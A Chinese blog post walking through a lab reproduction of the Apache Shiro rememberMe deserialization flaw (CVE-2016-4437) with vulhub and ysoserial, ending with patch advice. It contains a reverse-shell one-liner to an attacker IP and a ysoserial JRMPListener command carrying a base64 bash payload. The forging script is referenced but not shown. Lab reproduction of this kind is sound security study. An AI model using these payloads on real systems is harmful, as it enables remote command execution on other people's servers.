Apache Shiro反序列化漏洞 (CVE-2016-4437)复现

0x00 漏洞简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x01 环境启动

cd /root/vulhub-master/shiro/CVE-2016-4437
docker-compose build
docker-compose up -d

0x02 漏洞复现

访问htp://靶机IP:8080 显示登录页面

响应包中可以看到shiro的特征参数 rememberMe=deleteMe


环境启动后,我们需下载复现所需的ysoserial工具

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

构造反弹shell语句,可使用在线平台自动生成 https://ares-x.com/tools/runtime-exec

bash -i >& /dev/tcp/攻击IP/1234 0>&1

执行 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 ‘bash -c {echo,YmFzaCAtaSA+JiAvZssxxxxxxxxxxxxxxxxxxxDYuNzUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}’


利用密钥伪造rememberMe字段,脚本如下:


执行python3 shiro.py 攻击IP:7777获取ysoserial-all.jar监听端口:


在登录页面抓包 cookie处添加我们伪造好的rememberMe参数


nc监听1234端口成功反弹shell

0x03 修复建议

更新shiro到1.2.4以上的版本。 不使用默认的加密密钥,改为随机生成密钥。

posted @ 2024-02-21 17:24  BMCel  阅读(129)  评论(0编辑  收藏  举报